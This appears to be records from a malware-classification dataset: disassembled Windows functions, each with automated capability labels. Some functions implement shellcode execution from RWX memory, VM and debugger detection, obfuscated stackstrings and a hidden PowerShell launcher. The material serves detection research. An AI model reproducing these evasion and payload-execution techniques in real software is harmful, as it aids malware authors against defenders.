joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400015f0
Capabilities:
Execute command
Terminate process

Disassembly:
sub rsp, 0x28
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.spoofing..
call fcn.1400027f0
call fcn.140001450
lea rcx, [0x14000458c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.done___Thank_Bxxil_
call fcn.1400027f0
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3

Function at 0x1400019d0
Capabilities:
Write file on windows

Disassembly:
push rbx
push rdi
push r15
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov rbx, r8
mov r15, rdx
mov rdi, rcx
je case.default.0x1400019f1
add rsp, 0x20
pop r15
pop rdi
pop rbx
jmp qword [sym.imp.MSVCP140.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
mov rax, qword [rcx + 0x40]
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], rsi
mov rsi, rbx
mov qword [rsp + 0x58], r14
mov r9, qword [rax]
test r9, r9
je 0x140001a1e
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140001a20
xor ecx, ecx
movsxd rbp, ecx
test rbx, rbx
jle 0x140001a79
test ecx, ecx
jle 0x140001a59
cmp rbx, rbp
mov rcx, r9
cmovl rbp, rbx
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x58]
add r15, rbp
sub rbx, rbp
sub dword [rax], ebp
mov rcx, qword [rdi + 0x40]
movsxd rax, ebp
add qword [rcx], rax
test rbx, rbx
jle 0x140001a79
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x140001a79
mov r8, rbx
mov edx, 1
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
sub rbx, rax
mov r14, qword [rsp + 0x58]
sub rsi, rbx
mov rbp, qword [rsp + 0x40]
mov rax, rsi
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
pop rdi
pop rbx
ret
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
Function at 0x14002c2f8
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400551d0
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x1400b82b4]
call fcn.14002dc9d
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x68], 0
je 0x140055227
mov r8, qword [rbp + 0x130]
mov rdx, qword [rbp + 0x128]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected_virtual:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::xsputn_char_const____ptr64__long_long___int64_____ptr64]
jmp 0x140055333
mov rax, qword [rbp + 0x130]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_long_long___int64____cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Pnavail_void_const___ptr64]
mov qword [rbp + 0x28], rax
cmp qword [rbp + 0x130], 0
jle 0x1400552cc
cmp qword [rbp + 0x28], 0
jle 0x1400552cc
mov rax, qword [rbp + 0x28]
cmp qword [rbp + 0x130], rax
jge 0x14005526c
mov rax, qword [rbp + 0x130]
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_char____ptr64___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pptr_void_const___ptr64]
mov r8, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x128]
mov rcx, rax
call fcn.14002daae
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x128]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x28]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov edx, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.MSVCP140D.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::pbump_int____ptr64]
cmp qword [rbp + 0x130], 0
jle 0x140055322
mov rax, qword [rbp + 0x120]
cmp qword [rax + 0x80], 0
je 0x140055322
mov rax, qword [rbp + 0x120]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x130]
mov edx, 1
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ucrtbased.dll_fwrite]
mov rcx, qword [rbp + 0x130]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov rcx, qword [rbp + 8]
sub rcx, rax
mov rax, rcx
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x14002c5f5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
jmp 0x1400364e0
push rbp
push rsi
push rdi
sub rsp, 0x410
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x9c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1400a9040]
xor rax, rbp
mov qword [rbp + 0x3e8], rax
lea rcx, [0x1400b8145]
call fcn.14002dc9d
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.14002d234
lea rcx, [rbp + 8]
call fcn.14002cc7b
cmp dword [rbp + 8], 0
je 0x140036540
jmp 0x14003672b
lea rcx, [rbp + 0x44]
call fcn.14002c906
mov edx, 0x68
lea rcx, [rbp + 0x70]
call fcn.14002c08c
lea rcx, [rbp + 0x70]
call fcn.14002c69f
nop
mov edx, 0x20
lea rcx, [rbp + 0xf8]
call fcn.14002c19f
lea rcx, [rbp + 0x2b4]
call fcn.14002cd98
mov qword [rbp + 0x3d8], rax
mov byte [rbp + 0x3a8], 0x21
mov byte [rbp + 0x3a9], 0x18
mov byte [rbp + 0x3aa], 0x3a
mov byte [rbp + 0x3ab], 0x35
mov byte [rbp + 0x3ac], 0x47
mov byte [rbp + 0x3ad], 0x4c
mov byte [rbp + 0x3ae], 0x42
mov byte [rbp + 0x3af], 0x4d
mov byte [rbp + 0x3b0], 0x55
mov byte [rbp + 0x3b1], 0x51
mov byte [rbp + 0x3b2], 0x3a
mov byte [rbp + 0x3b3], 0x31
mov byte [rbp + 0x3b4], 0x57
mov byte [rbp + 0x3b5], 0x51
mov byte [rbp + 0x3b6], 0x52
mov byte [rbp + 0x3b7], 0x43
mov byte [rbp + 0x3b8], 0x4b
mov byte [rbp + 0x3b9], send
mov byte [rbp + 0x3ba], reloc.WS2_32.dll_recv
mov byte [rbp + 0x3bb], 0x3a
mov byte [rbp + 0x3bc], 0x51
mov byte [rbp + 0x3bd], 0x54
mov byte [rbp + 0x3be], 0x41
mov byte [rbp + 0x3bf], 0x46
mov byte [rbp + 0x3c0], 0x4d
mov byte [rbp + 0x3c1], 0x51
mov byte [rbp + 0x3c2], 0x52
mov byte [rbp + 0x3c3], recv
mov byte [rbp + 0x3c4], 0x43
mov byte [rbp + 0x3c5], 0x56
mov byte [rbp + 0x3c6], 0x43
lea rax, [rbp + 0x3c7]
mov r8, rax
lea rdx, [rbp + 0x3a8]
lea rcx, [rbp + 0x2d8]
call fcn.14002cc85
lea rcx, [rbp + 0x308]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x380]
lea rcx, [rbp + 0x308]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x3d8]
lea rdx, [rbp + 0x380]
lea rcx, [rbp + 0xf8]
call fcn.14002d63f
nop
mov r8d, 0xde
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x338]
call fcn.14002d400
mov qword [rbp + 0x3d8], rax
mov rax, qword [rbp + 0x3d8]
mov qword [rbp + 0x3e0], rax
lea r8, [rbp + 0x78]
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0x44]
call fcn.14002c307
nop
lea rcx, [rbp + 0x338]
call fcn.14002c564
nop
lea rcx, [rbp + 0xf8]
call fcn.14002c8c5
nop
lea rcx, [rbp + 0x70]
call fcn.14002db94
lea rcx, [rbp - 0x20]
lea rdx, reloc.WS2_32.dll_connect
call fcn.14002d7a7
mov rcx, qword [rbp + 0x3e8]
xor rcx, rbp
call fcn.14002ce01
lea rsp, [rbp + 0x3f0]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002cebf
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x14005a620
mov qword [rsp + 8], rcx
push rbp
push rbx
push rdi
sub rsp, 0x1a0
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x30
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1c8]
mov rax, qword [0x1400a9040]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x1400b8728]
call fcn.14002dc9d
lea rax, [rbp + 8]
mov rdi, rax
xor eax, eax
mov ecx, reloc.WS2_32.dll_recv
rep stosb byte [rdi], al
mov eax, 1
xor ecx, ecx
cpuid
lea rdi, [rbp + 8]
mov dword [rdi], eax
mov dword [rdi + 4], ebx
mov dword [rdi + 8], ecx
mov dword [rdi + 0xc], edx
mov eax, 4
imul rax, rax, 2
mov eax, dword [rbp + rax + 8]
sar eax, 0x1f
and eax, 1
mov dword [rbp + 0x34], eax
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rbp + 0x58], rax
mov dword [rbp + 0x94], 0
jmp 0x14005a6cf
mov eax, dword [rbp + 0x94]
inc eax
mov dword [rbp + 0x94], eax
cmp dword [rbp + 0x94], 0xf4240
jge 0x14005a6dd
jmp 0x14005a6c1
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x78]
sub rcx, rax
mov rax, rcx
cmp rax, 0xf4240
jbe 0x14005a735
lea rdx, str.Posible_detecci
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14002c348
mov qword [rbp + 0x168], rax
lea rdx, [0x14002c12c]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x14005a737
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140094a70]
call fcn.14002d7a7
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.14002ce01
lea rsp, [rbp + 0x180]
pop rdi
pop rbx
pop rbp
ret

Function at 0x14002d027
Capabilities:
Terminate process

Disassembly:
jmp 0x140081840
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14002d27f
Capabilities:
Get geographical location

Disassembly:
jmp 0x14007b310
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x58
mov r9d, 2
lea r8, [rsp + 0x40]
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov dword [rsp + 0x44], eax
cmp dword [rsp + 0x44], 0
jne 0x14007b34d
mov dword [rsp + 0x40], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x40]
mov r8d, dword [rsp + 0x60]
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov dword [rsp + 0x48], eax
mov eax, dword [rsp + 0x48]
mov edx, eax
mov rax, qword [rsp + 0x68]
mov rcx, qword [rax]
call fcn.14002dc75
add rsp, 0x58
ret

Function at 0x14002d3e2
Capabilities:
Parse pe header

Disassembly:
jmp 0x140082370
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140082390
xor al, al
jmp 0x140082411
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400823a3
xor al, al
jmp 0x140082411
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400823cd
xor al, al
jmp 0x140082411
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x1400823e1
xor al, al
jmp 0x140082411
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x1400823f3
xor al, al
jmp 0x140082411
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14008240f
xor al, al
jmp 0x140082411
mov al, 1
add rsp, 0x38
ret
Function at 0x14002dbbc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x14005bfb0
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
sub rsp, 0x440
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xa8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x468]
mov rax, qword [0x1400a9040]
xor rax, rbp
mov qword [rbp + 0x410], rax
lea rcx, [0x1400b8728]
call fcn.14002dc9d
mov edx, 0x20
lea rcx, [rbp + 8]
call fcn.14002c2a8
lea rcx, [rbp + 0x264]
call fcn.14002c5b4
mov qword [rbp + 0x408], rax
lea rdx, str.C:windows_system32drivers_vmmouse.sys
lea rcx, [rbp + 0x360]
call fcn.14002ccf8
nop
lea rdx, str.C:windows_system32drivers_vmhgfs.sys
lea rcx, [rbp + 0x388]
call fcn.14002ccf8
nop
lea rdx, str.C:windows_system32driversVBoxMouse.sys
lea rcx, [rbp + 0x3b0]
call fcn.14002ccf8
nop
lea rdx, str.C:windows_system32driversVBoxGuest.sys
lea rcx, [rbp + 0x3d8]
call fcn.14002ccf8
nop
lea rax, [rbp + 0x400]
mov r8, rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x288]
call fcn.14002db49
lea rcx, [rbp + 0x2b8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x330]
lea rcx, [rbp + 0x2b8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rbp + 0x408]
lea rdx, [rbp + 0x330]
lea rcx, [rbp + 8]
call fcn.14002d504
nop
lea r9, [fcn.14002c564]
mov r8d, 4
mov edx, 0x28
lea rcx, [rbp + 0x360]
call fcn.14002c744
lea rax, [rbp + 8]
mov qword [rbp + 0x48], rax
mov rcx, qword [rbp + 0x48]
call fcn.14002c7da
mov qword [rbp + 0x68], rax
mov rcx, qword [rbp + 0x48]
call fcn.14002c7b2
mov qword [rbp + 0x88], rax
jmp 0x14005c120
mov rax, qword [rbp + 0x68]
add rax, 0x28
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x88]
cmp qword [rbp + 0x68], rax
je 0x14005c1bd
mov rax, qword [rbp + 0x68]
mov qword [rbp + 0xa8], rax
mov rcx, qword [rbp + 0xa8]
call fcn.14002c2df
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 0xc4], eax
cmp dword [rbp + 0xc4], 0xffffffff
je 0x14005c1b8
lea rdx, str.Sistema_detectado_como_m
mov rcx, qword [sym.imp.MSVCP140D.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14002c348
mov rdx, qword [rbp + 0xa8]
mov rcx, rax
call fcn.14002d937
mov qword [rbp + 0x408], rax
lea rdx, [0x14002c12c]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.MSVCP140D.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rbp + 0x2e4], 1
lea rcx, [rbp + 8]
call fcn.14002db3f
mov eax, dword [rbp + 0x2e4]
jmp 0x14005c1d6
jmp 0x14005c114
mov dword [rbp + 0x304], 0
lea rcx, [rbp + 8]
call fcn.14002db3f
mov eax, dword [rbp + 0x304]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x140094970]
call fcn.14002d7a7
mov rax, rdi
mov rcx, qword [rbp + 0x410]
xor rcx, rbp
call fcn.14002ce01
lea rsp, [rbp + 0x420]
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002dc34
Capabilities:
Write file on windows

Disassembly:
jmp 0x1400489e0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1b8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x32
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [0x1400a9040]
xor rax, rbp
mov qword [rbp + 0x170], rax
lea rcx, [0x1400b82b4]
call fcn.14002dc9d
mov rax, qword [rbp + 0x1a0]
cmp qword [rax + 0x68], 0
je 0x140048a46
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140048a4d
mov al, 1
jmp 0x140048bbd
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax]
mov rax, qword [rax + 0x18]
mov qword [rbp + 0x158], rax
call fcn.14002c7e9
mov dword [rbp + 0x160], eax
mov edx, dword [rbp + 0x160]
mov rcx, qword [rbp + 0x1a0]
call qword [rbp + 0x158]
mov dword [rbp + 0x164], eax
call fcn.14002c7e9
mov dword [rbp + 0x168], eax
mov edx, dword [rbp + 0x164]
mov ecx, dword [rbp + 0x168]
call fcn.14002d68f
movzx eax, al
test eax, eax
je 0x140048ab0
xor al, al
jmp 0x140048bbd
mov qword [rbp + 8], 0x20
mov rax, qword [rbp + 0x1a0]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x158], rax
lea rax, [rbp + 0x48]
mov rcx, qword [rbp + 0x1a0]
add rcx, 0x74
lea rdx, [rbp + 0x68]
mov qword [rsp + 0x20], rdx
mov r9, rax
lea r8, [rbp + 0x28]
mov rdx, rcx
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.MSVCP140D.dll_public:_int___cdecl_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet____ptr64__char____ptr64__char____ptr64__char____ptr64____ptr64_const___ptr64]
mov dword [rbp + 0x160], eax
cmp dword [rbp + 0x160], 0
je 0x140048b23
cmp dword [rbp + 0x160], 1
je 0x140048b2e
cmp dword [rbp + 0x160], 3
je 0x140048bac
jmp 0x140048bbb
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
lea rax, [rbp + 0x28]
mov rcx, qword [rbp + 0x68]
sub rcx, rax
mov rax, rcx
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jbe 0x140048b7e
mov rax, qword [rbp + 0x1a0]
mov r9, qword [rax + 0x80]
mov r8, qword [rbp + 0x88]
mov edx, 1
lea rcx, [rbp + 0x28]
call qword [sym.imp.ucrtbased.dll_fwrite]
cmp qword [rbp + 0x88], rax
je 0x140048b7e
xor al, al
jmp 0x140048bbd
mov rax, qword [rbp + 0x1a0]
movzx eax, byte [rax + 0x71]
test eax, eax
jne 0x140048b99
mov dword [rbp + 0x154], 1
jmp 0x140048ba3
mov dword [rbp + 0x154], 0
movzx eax, byte [rbp + 0x154]
jmp 0x140048bbd
mov rax, qword [rbp + 0x1a0]
mov byte [rax + 0x71], 0
mov al, 1
jmp 0x140048bbd
xor al, al
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x140090bf0]
call fcn.14002d7a7
mov rax, rdi
mov rcx, qword [rbp + 0x170]
xor rcx, rbp
call fcn.14002ce01
lea rsp, [rbp + 0x188]
pop rdi
pop rbp
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbx
sub rsp, 0x220
mov ebx, 3
lea rcx, [rsp + 0x20]
mov eax, ebx
lea rdx, [0x140002250]
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001020
movups xmm0, xmmword [rdx]
mov rax, qword [rdx + 0x70]
mov r8d, 0x1000
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov qword [rcx + 0x70], rax
mov eax, dword [rdx + 0x78]
mov dword [rcx + 0x78], eax
movzx eax, word [rdx + 0x7c]
mov word [rcx + 0x7c], ax
movzx eax, byte [rdx + 0x7e]
mov edx, 0x1ff
mov byte [rcx + 0x7e], al
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea rcx, [rsp + 0x20]
mov rdx, rax
nop dword [rax + rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rbx, 1
jne 0x1400010f0
movups xmm0, xmmword [rcx]
mov rax, qword [rcx + 0x70]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx + 0x10], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx + 0x20], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx + 0x30], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx + 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx + 0x50], xmm1
movups xmmword [rdx + 0x60], xmm0
mov qword [rdx + 0x70], rax
mov eax, dword [rcx + 0x78]
mov dword [rdx + 0x78], eax
movzx eax, word [rcx + 0x7c]
mov word [rdx + 0x7c], ax
movzx eax, byte [rcx + 0x7e]
mov byte [rdx + 0x7e], al
call r8
xor eax, eax
add rsp, 0x220
pop rbx
ret
Function at 0x140001a88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ad2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ad2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ad2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ad2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ad2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ad4
xor al, al
add rsp, 0x28
ret
Function at 0x1d9db13e3
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x8e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x870], rcx
lea rax, [rbp + 0x60]
mov r8, qword [rbp + 0x870]
lea rdx, str.powershell.exe__windowstyle_Hidden__command___s_
mov rcx, rax
call sym.sprintf
lea rax, [rbp - 0x10]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x10], 0x68
mov dword [rbp + 0x2c], 1
mov word [rbp + 0x30], 0
lea rax, [rbp - 0x30]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x60]
lea rdx, [rbp - 0x30]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x10]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1d9db14e4
mov rax, qword [rbp - 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
nop
add rsp, 0x8e0
pop rbp
ret

Function at 0x1d9db1700
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]